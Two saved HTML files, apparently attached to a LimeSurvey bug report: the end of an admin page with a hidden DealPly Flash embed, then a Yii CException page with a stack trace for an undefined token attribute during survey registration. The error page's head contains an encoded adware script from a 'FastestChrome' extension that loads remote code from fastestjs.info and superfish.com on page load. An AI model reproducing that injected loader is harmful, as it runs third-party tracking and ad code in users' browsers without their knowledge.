</div><div id="dp_swf_engine" style="position: absolute; width: 1px; height: 1px;"><embed style="width: 1px; height: 1px;" type="application/x-shockwave-flash" src="http://static.dealply.com/flash/dealply_swf_engine.swf" width="1" height="1" id="_dp_swf_engine" name="_dp_swf_engine" bgcolor="#336699" quality="high" allowscriptaccess="always"></div><div qtip="6" class="qtip qtip-light" style="border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; position: absolute; display: none; padding: 14px 0px 0px; width: 178px; top: 84.43333435058594px; left: 247.2333221435547px; "><div class="qtip-tip" dir="ltr" rel="topLeft" style="position: absolute; height: 14px; width: 14px; margin: 0px auto; line-height: 0.1px; font-size: 1px; top: 0px; left: 5px; "><canvas height="14" width="14"></canvas></div> <div class="qtip-wrapper" style="position:relative; overflow:hidden; text-align:left;"><div class="qtip-borderTop" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="topLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="topRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 168px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div> <div class="qtip-contentWrapper" style="overflow: hidden; background-color: white; border-width: 0px 5px; border-style: solid; border-color: rgb(226, 226, 226); background-position: initial initial; background-repeat: initial initial; "> <div class="qtip-content qtip-content" style="background-color: white; color: rgb(69, 69, 69); overflow: hidden; text-align: left; padding: 5px 9px; background-position: initial initial; background-repeat: initial initial; ">Backup entire database</div></div><div class="qtip-borderBottom" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="bottomLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="bottomRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 168px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div></div></div><div qtip="3" class="qtip qtip-light" style="border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; position: absolute; display: none; padding: 14px 0px 0px; width: 180px; top: 84.43333435058594px; left: 134.23333740234375px; "><div class="qtip-tip" dir="ltr" rel="topLeft" style="position: absolute; height: 14px; width: 14px; margin: 0px auto; line-height: 0.1px; font-size: 1px; top: 0px; left: 5px; "><canvas height="14" width="14"></canvas></div> <div class="qtip-wrapper" style="position:relative; overflow:hidden; text-align:left;"><div class="qtip-borderTop" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="topLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="topRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 170px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div> <div class="qtip-contentWrapper" style="overflow: hidden; background-color: white; border-width: 0px 5px; border-style: solid; border-color: rgb(226, 226, 226); background-position: initial initial; background-repeat: initial initial; "> <div class="qtip-content qtip-content" style="background-color: white; color: rgb(69, 69, 69); overflow: hidden; text-align: left; padding: 5px 9px; background-position: initial initial; background-repeat: initial initial; ">Create/edit user groups</div></div><div class="qtip-borderBottom" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="bottomLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="bottomRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 170px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div></div></div><div qtip="4" class="qtip qtip-light" style="border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; position: absolute; display: none; padding: 14px 0px 0px; width: 122px; top: 84.43333435058594px; left: 168.2333221435547px; "><div class="qtip-tip" dir="ltr" rel="topLeft" style="position: absolute; height: 14px; width: 14px; margin: 0px auto; line-height: 0.1px; font-size: 1px; top: 0px; left: 5px; "><canvas height="14" width="14"></canvas></div> <div class="qtip-wrapper" style="position:relative; overflow:hidden; text-align:left;"><div class="qtip-borderTop" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="topLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="topRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 112px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div> <div class="qtip-contentWrapper" style="overflow: hidden; background-color: white; border-width: 0px 5px; border-style: solid; border-color: rgb(226, 226, 226); background-position: initial initial; background-repeat: initial initial; "> <div class="qtip-content qtip-content" style="background-color: white; color: rgb(69, 69, 69); overflow: hidden; text-align: left; padding: 5px 9px; background-position: initial initial; background-repeat: initial initial; ">Global settings</div></div><div class="qtip-borderBottom" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="bottomLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="bottomRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 112px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div></div></div><div qtip="5" class="qtip qtip-light qtip-active" style="border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; position: absolute; display: none; padding: 14px 0px 0px; width: 156px; top: 84.43333435058594px; left: 213.2333221435547px; "><div class="qtip-tip" dir="ltr" rel="topLeft" style="position: absolute; height: 14px; width: 14px; margin: 0px auto; line-height: 0.1px; font-size: 1px; top: 0px; left: 5px; "><canvas height="14" width="14"></canvas></div> <div class="qtip-wrapper" style="position:relative; overflow:hidden; text-align:left;"><div class="qtip-borderTop" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="topLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="topRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 146px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div> <div class="qtip-contentWrapper" style="overflow: hidden; background-color: white; border-width: 0px 5px; border-style: solid; border-color: rgb(226, 226, 226); background-position: initial initial; background-repeat: initial initial; "> <div class="qtip-content qtip-content" style="background-color: white; color: rgb(69, 69, 69); overflow: hidden; text-align: left; padding: 5px 9px; background-position: initial initial; background-repeat: initial initial; ">Check data integrity</div></div><div class="qtip-borderBottom" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="bottomLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="bottomRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 146px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div></div></div><div qtip="7" class="qtip qtip-light" style="border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; position: absolute; display: none; padding: 14px 0px 0px; width: 118px; top: 84.43333435058594px; left: 292.23333740234375px; "><div class="qtip-tip" dir="ltr" rel="topLeft" style="position: absolute; height: 14px; width: 14px; margin: 0px auto; line-height: 0.1px; font-size: 1px; top: 0px; left: 5px; "><canvas height="14" width="14"></canvas></div> <div class="qtip-wrapper" style="position:relative; overflow:hidden; text-align:left;"><div class="qtip-borderTop" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="topLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="topRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 108px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div> <div class="qtip-contentWrapper" style="overflow: hidden; background-color: white; border-width: 0px 5px; border-style: solid; border-color: rgb(226, 226, 226); background-position: initial initial; background-repeat: initial initial; "> <div class="qtip-content qtip-content" style="background-color: white; color: rgb(69, 69, 69); overflow: hidden; text-align: left; padding: 5px 9px; background-position: initial initial; background-repeat: initial initial; ">Edit label sets</div></div><div class="qtip-borderBottom" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="bottomLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="bottomRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 108px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div></div></div><div qtip="2" class="qtip qtip-light" style="border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; position: absolute; display: none; padding: 14px 0px 0px; width: 220px; top: 84.43333435058594px; left: 100.23333740234375px; "><div class="qtip-tip" dir="ltr" rel="topLeft" style="position: absolute; height: 14px; width: 14px; margin: 0px auto; line-height: 0.1px; font-size: 1px; top: 0px; left: 5px; "><canvas height="14" width="14"></canvas></div> <div class="qtip-wrapper" style="position:relative; overflow:hidden; text-align:left;"><div class="qtip-borderTop" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="topLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="topRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 210px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div> <div class="qtip-contentWrapper" style="overflow: hidden; background-color: white; border-width: 0px 5px; border-style: solid; border-color: rgb(226, 226, 226); background-position: initial initial; background-repeat: initial initial; "> <div class="qtip-content qtip-content" style="background-color: white; color: rgb(69, 69, 69); overflow: hidden; text-align: left; padding: 5px 9px; background-position: initial initial; background-repeat: initial initial; ">Manage survey administrators</div></div><div class="qtip-borderBottom" dir="ltr" style="height: 5px; margin-left: 5px; line-height: 0.1px; font-size: 1px; padding: 0px; display: block; "><div rel="bottomLeft" style="left:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div rel="bottomRight" style="right:0; position:absolute; height:5px; width:5px; overflow:hidden; line-height:0.1px; font-size:1px"><canvas height="5" width="5" style="vertical-align: top"></canvas></div><div class="qtip-betweenCorners" style="height: 5px; width: 210px; overflow: hidden; background-color: rgb(226, 226, 226); line-height: 0.1px; font-size: 1px; "></div></div></div></div></body><link rel="stylesheet" type="text/css" href="data:text/css,"></html> CException.htm (23,078 bytes)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- saved from url=(0068)http://localhost/limesurvey/index.php/register/index/surveyid/954223 -->
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>CException</title>
<style type="text/css">
/*<![CDATA[*/
html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;margin:0;padding:0;}
body{line-height:1;}
ol,ul{list-style:none;}
blockquote,q{quotes:none;}
blockquote:before,blockquote:after,q:before,q:after{content:none;}
:focus{outline:0;}
ins{text-decoration:none;}
del{text-decoration:line-through;}
table{border-collapse:collapse;border-spacing:0;}
body {
font: normal 9pt "Verdana";
color: #000;
background: #fff;
}
h1 {
font: normal 18pt "Verdana";
color: #f00;
margin-bottom: .5em;
}
h2 {
font: normal 14pt "Verdana";
color: #800000;
margin-bottom: .5em;
}
h3 {
font: bold 11pt "Verdana";
}
pre {
font: normal 11pt Menlo, Consolas, "Lucida Console", Monospace;
}
pre span.error {
display: block;
background: #fce3e3;
}
pre span.ln {
color: #999;
padding-right: 0.5em;
border-right: 1px solid #ccc;
}
pre span.error-ln {
font-weight: bold;
}
.container {
margin: 1em 4em;
}
.version {
color: gray;
font-size: 8pt;
border-top: 1px solid #aaa;
padding-top: 1em;
margin-bottom: 1em;
}
.message {
color: #000;
padding: 1em;
font-size: 11pt;
background: #f3f3f3;
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
border-radius: 10px;
margin-bottom: 1em;
line-height: 160%;
}
.source {
margin-bottom: 1em;
}
.code pre {
background-color: #ffe;
margin: 0.5em 0;
padding: 0.5em;
line-height: 125%;
border: 1px solid #eee;
}
.source .file {
margin-bottom: 1em;
font-weight: bold;
}
.traces {
margin: 2em 0;
}
.trace {
margin: 0.5em 0;
padding: 0.5em;
}
.trace.app {
border: 1px dashed #c00;
}
.trace .number {
text-align: right;
width: 2em;
padding: 0.5em;
}
.trace .content {
padding: 0.5em;
}
.trace .plus,
.trace .minus {
display:inline;
vertical-align:middle;
text-align:center;
border:1px solid #000;
color:#000;
font-size:10px;
line-height:10px;
margin:0;
padding:0 1px;
width:10px;
height:10px;
}
.trace.collapsed .minus,
.trace.expanded .plus,
.trace.collapsed pre {
display: none;
}
.trace-file {
cursor: pointer;
padding: 0.2em;
}
.trace-file:hover {
background: #f0ffff;
}
/*]]>*/
</style>
<style type="text/css"></style><style type="text/css">iframe.dealply-toast { right: -99999px !important; }iframe.dealply-toast.fastestext-revealed { right: 0px !important; }</style><script type="text/javascript" src="./CException_files/javascript.js"></script><script src="./CException_files/version_content.js"></script><script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7B%0D%0A%20%20%20%20var%20install_source%20%3D%20'OpenInstall'%3B%0D%0A%20%20%20%20var%20ext_name%20%3D%20'FastestChrome'%3B%0D%0A%20%20%20%20var%20install_time%20%3D%20'1334073053400'%3B%0D%0A%20%20%20%20var%20add_related_deals_pref%20%3D%20'false'%3B%0D%0A%20%20%20%20var%20ctid%20%3D%20'3'%3B%0D%0A%0D%0A%20%20%20%20if(window!%3Dwindow.top)return%3Bvar%20blacklist%3D%5B%2Fveetle.com%2F%2C%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2F%2C%2Fnytimes.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2Cnew%20RegExp(%22www.google.com%2Freader%22)%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fpch.com%2F%5D%3Bfor(var%20i%3D0%3Bi%3Cblacklist.length%3Bi%2B%2B)if(blacklist%5Bi%5D.test(document.location.href))return%3Bvar%20hashCode%3Dfunction(a)%7Bvar%20b%3D0%3Bfor(var%20c%3D0%3Bc%3Ca.length%3Bc%2B%2B)%7Bb%3D((b%3C%3C5)-b)%2Ba.charCodeAt(c)%3Bb%3Db%26b%3B%7Dreturn%20b%3B%7D%3Bvar%20ready%3Dfunction(a)%7Bvar%20b%3Dfunction()%7Bif(window.document.body)a()%3Belse%20setTimeout(b%2C100)%3B%7D%3Bb()%3B%7D%3Bready(function()%7BsetTimeout(function()%7Bif(%2F%5Ehttp%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com%22).test(document.location.href))%7Bvar%20a%3Dfunction(a)%7Bvar%20b%3Ddocument.createElement('script')%3Bb.type%3D'text%2Fjavascript'%3Bb.src%3Da%3Bdocument.getElementsByTagName('head')%5B0%5D.appendChild(b)%3B%7D%3Bvar%20b%3Dfunction(b)%7Bif(add_related_deals_pref%3D%3D'None'%7C%7Cadd_related_deals_pref%3D%3D'true')a('http%3A%2F%2Fi.fastestjs.info%2Ffast%2Fjavascript.js%3Fchannel%3D'%2Bb)%3B%7D%3Bvar%20c%3Dfunction(b%2Cc)%7Ba(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bb%2B%22%26CTID%3D%22%2Bc%2B%22%26userId%3D%22%2B%22fastest00_%22%2Bb%2B%22_%22%2Bc%2B'_')%3B%7D%3Bvar%20d%3Dnavigator.browserLanguage%7C%7Cnavigator.language%3Bvar%20e%3D%22fastestchrome%22%3Bif(%2FChrome%2F.test(navigator.userAgent))if(ext_name%3D%3D%22Fastanium%22)e%3D%22fastanium%22%3Belse%20e%3D%22fastestchrome%22%3Belse%20if(%2FFirefox%2F.test(navigator.userAgent))e%3D%22fastestfox%22%3Belse%20if(%2FSafari%2F.test(navigator.userAgent))e%3D%22fastestsafari%22%3Belse%20if(%2FTrident%2F.test(navigator.userAgent))e%3D%22fastestie%22%3Bvar%20f%3DMath.abs(hashCode(install_time))%3Bvar%20g%3D%2F%5Ehttp%3A%2F.test(document.location.href)%3Bif(%2F%5Een%2Fi.test(d)%7C%7C%2F%5Ede%2Fi.test(d)%7C%7C%2F%5Efr%2Fi.test(d))if(%2FChrome%2F.test(navigator.userAgent))if(f%25100%3C49%26%26g)%7Bc(e%2C900)%3BsetTimeout(function()%7Bb('fast2')%3B%7D%2C10000)%3B%7Delse%20if(f%25100%3D%3D49%26%26g)c(e%2C4900)%3Belse%20if(f%25100%3E%3D50%26%26f%25100%3C60%26%26g)c(e%2C56000)%3Belse%20if(f%25100%3E%3D60%26%26f%25100%3C70%26%26g)c(e%2C67000)%3Belse%20if(f%25100%3E%3D70%26%26f%25100%3C80%26%26g)c(e%2C78000)%3Belse%20if(f%25100%3D%3D99%26%26g)%7Bc(e%2C9900)%3Bb('fast_max')%3B%7Delse%20if(f%25100%3D%3D98%26%26g)%7Bc(e%2C9800)%3BsetTimeout(function()%7Bb('fast_max_2')%3B%7D%2C10000)%3B%7Delse%20if(f%25100%3D%3D97%26%26g)c(e%2C9700)%3Belse%20if(f%25100%3D%3D96%26%26g)%7Bc(e%2C9600)%3BsetTimeout(function()%7Bb('fast_max_15')%3B%7D%2C15000)%3B%7Delse%20if(f%25100%3D%3D95%26%26g)c(e%2C9500)%3Belse%20if(f%25100%3D%3D94%26%26g)c(e%2C9400)%3Belse%20c(e%2Cctid)%3Belse%20c(e%2Cctid)%3Belse%20if(%2FChrome%2F.test(navigator.userAgent)%26%26%2F%5Ehttp%3A%2F.test(document.location.href))if(f%25100%3E%3D50%7C%7Cf%3D%3D0)%7Bc(e%2C910)%3BsetTimeout(function()%7Bb('fast1')%3B%7D%2C15000)%3B%7Delse%20c(e%2C1000)%3Belse%20if(true%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com%22).test(document.location.href))c(e%2C1000)%3B%7D%7D%2C500)%3B%7D)%3B%0D%0A%7D())%3B%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A"></script><script src="./CException_files/chrome_content.js"></script><script type="text/javascript" src="./CException_files/sf_conduit.jsp"></script><script type="text/javascript" src="./CException_files/sf_code.jsp"></script><script type="text/javascript" src="./CException_files/base_single_icon.js"></script></head>
<body>
<div class="container">
<h1>CException</h1>
<p class="message">
Property "Tokens_dynamic.attribute_1" is not defined. </p>
<div class="source">
<p class="file">C:\xampp\htdocs\limesurvey\framework\db\ar\CActiveRecord.php(160)</p>
<div class="code"><pre><span class="ln">148</span> * PHP setter magic method.
<span class="ln">149</span> * This method is overridden so that AR attributes can be accessed like properties.
<span class="ln">150</span> * @param string $name property name
<span class="ln">151</span> * @param mixed $value property value
<span class="ln">152</span> */
<span class="ln">153</span> public function __set($name,$value)
<span class="ln">154</span> {
<span class="ln">155</span> if($this->setAttribute($name,$value)===false)
<span class="ln">156</span> {
<span class="ln">157</span> if(isset($this->getMetaData()->relations[$name]))
<span class="ln">158</span> $this->_related[$name]=$value;
<span class="ln">159</span> else
<span class="error"><span class="ln error-ln">160</span> parent::__set($name,$value);
</span><span class="ln">161</span> }
<span class="ln">162</span> }
<span class="ln">163</span>
<span class="ln">164</span> /**
<span class="ln">165</span> * Checks if a property value is null.
<span class="ln">166</span> * This method overrides the parent implementation by checking
<span class="ln">167</span> * if the named attribute is null or not.
<span class="ln">168</span> * @param string $name the property name or the event name
<span class="ln">169</span> * @return boolean whether the property value is null
<span class="ln">170</span> */
<span class="ln">171</span> public function __isset($name)
<span class="ln">172</span> {
</pre></div> </div>
<div class="traces">
<h2>Stack Trace</h2>
<table style="width:100%;">
<tbody><tr class="trace core collapsed">
<td class="number">
#0 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\db\ar\CActiveRecord.php(160): <strong>CComponent</strong>-><strong>__set</strong>("attribute_1", "41906777") </div>
<div class="code"><pre><span class="ln">155</span> if($this->setAttribute($name,$value)===false)
<span class="ln">156</span> {
<span class="ln">157</span> if(isset($this->getMetaData()->relations[$name]))
<span class="ln">158</span> $this->_related[$name]=$value;
<span class="ln">159</span> else
<span class="error"><span class="ln error-ln">160</span> parent::__set($name,$value);
</span><span class="ln">161</span> }
<span class="ln">162</span> }
<span class="ln">163</span>
<span class="ln">164</span> /**
<span class="ln">165</span> * Checks if a property value is null.
</pre></div> </td>
</tr>
<tr class="trace app expanded">
<td class="number">
#1 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\application\controllers\RegisterController.php(210): <strong>CActiveRecord</strong>-><strong>__set</strong>("attribute_1", "41906777") </div>
<div class="code"><pre><span class="ln">205</span> {
<span class="ln">206</span> $token->validfrom = $starttime;
<span class="ln">207</span> $token->validuntil = $endtime;
<span class="ln">208</span> }
<span class="ln">209</span> foreach ($attributeinsertdata as $k => $v)
<span class="error"><span class="ln error-ln">210</span> $token->$k = $v;
</span><span class="ln">211</span> $result = $token->save();
<span class="ln">212</span>
<span class="ln">213</span> /**
<span class="ln">214</span> $result = $connect->Execute($query, array($postfirstname,
<span class="ln">215</span> $postlastname,
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#2 </td>
<td class="content">
<div class="trace-file">
unknown(0): <strong>RegisterController</strong>-><strong>actionIndex</strong>("954223") </div>
</td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#3 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\actions\CAction.php(107): <strong>ReflectionMethod</strong>-><strong>invokeArgs</strong>(RegisterController, array("954223")) </div>
<div class="code"><pre><span class="ln">102</span> else if($param->isDefaultValueAvailable())
<span class="ln">103</span> $ps[]=$param->getDefaultValue();
<span class="ln">104</span> else
<span class="ln">105</span> return false;
<span class="ln">106</span> }
<span class="error"><span class="ln error-ln">107</span> $method->invokeArgs($object,$ps);
</span><span class="ln">108</span> return true;
<span class="ln">109</span> }
<span class="ln">110</span> }
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#4 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\actions\CInlineAction.php(48): <strong>CAction</strong>-><strong>runWithParamsInternal</strong>(RegisterController, ReflectionMethod, array("surveyid" => "954223")) </div>
<div class="code"><pre><span class="ln">43</span> {
<span class="ln">44</span> $methodName='action'.$this->getId();
<span class="ln">45</span> $controller=$this->getController();
<span class="ln">46</span> $method=new ReflectionMethod($controller, $methodName);
<span class="ln">47</span> if($method->getNumberOfParameters()>0)
<span class="error"><span class="ln error-ln">48</span> return $this->runWithParamsInternal($controller, $method, $params);
</span><span class="ln">49</span> else
<span class="ln">50</span> return $controller->$methodName();
<span class="ln">51</span> }
<span class="ln">52</span>
<span class="ln">53</span> }
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#5 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\CController.php(309): <strong>CInlineAction</strong>-><strong>runWithParams</strong>(array("surveyid" => "954223")) </div>
<div class="code"><pre><span class="ln">304</span> {
<span class="ln">305</span> $priorAction=$this->_action;
<span class="ln">306</span> $this->_action=$action;
<span class="ln">307</span> if($this->beforeAction($action))
<span class="ln">308</span> {
<span class="error"><span class="ln error-ln">309</span> if($action->runWithParams($this->getActionParams())===false)
</span><span class="ln">310</span> $this->invalidActionParams($action);
<span class="ln">311</span> else
<span class="ln">312</span> $this->afterAction($action);
<span class="ln">313</span> }
<span class="ln">314</span> $this->_action=$priorAction;
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#6 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\CController.php(287): <strong>CController</strong>-><strong>runAction</strong>(CInlineAction) </div>
<div class="code"><pre><span class="ln">282</span> * @see runAction
<span class="ln">283</span> */
<span class="ln">284</span> public function runActionWithFilters($action,$filters)
<span class="ln">285</span> {
<span class="ln">286</span> if(empty($filters))
<span class="error"><span class="ln error-ln">287</span> $this->runAction($action);
</span><span class="ln">288</span> else
<span class="ln">289</span> {
<span class="ln">290</span> $priorAction=$this->_action;
<span class="ln">291</span> $this->_action=$action;
<span class="ln">292</span> CFilterChain::create($this,$action,$filters)->run();
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#7 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\CController.php(266): <strong>CController</strong>-><strong>runActionWithFilters</strong>(CInlineAction, array()) </div>
<div class="code"><pre><span class="ln">261</span> {
<span class="ln">262</span> if(($parent=$this->getModule())===null)
<span class="ln">263</span> $parent=Yii::app();
<span class="ln">264</span> if($parent->beforeControllerAction($this,$action))
<span class="ln">265</span> {
<span class="error"><span class="ln error-ln">266</span> $this->runActionWithFilters($action,$this->filters());
</span><span class="ln">267</span> $parent->afterControllerAction($this,$action);
<span class="ln">268</span> }
<span class="ln">269</span> }
<span class="ln">270</span> else
<span class="ln">271</span> $this->missingAction($actionID);
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#8 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\CWebApplication.php(276): <strong>CController</strong>-><strong>run</strong>("index") </div>
<div class="code"><pre><span class="ln">271</span> {
<span class="ln">272</span> list($controller,$actionID)=$ca;
<span class="ln">273</span> $oldController=$this->_controller;
<span class="ln">274</span> $this->_controller=$controller;
<span class="ln">275</span> $controller->init();
<span class="error"><span class="ln error-ln">276</span> $controller->run($actionID);
</span><span class="ln">277</span> $this->_controller=$oldController;
<span class="ln">278</span> }
<span class="ln">279</span> else
<span class="ln">280</span> throw new CHttpException(404,Yii::t('yii','Unable to resolve the request "{route}".',
<span class="ln">281</span> array('{route}'=>$route===''?$this->defaultController:$route)));
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
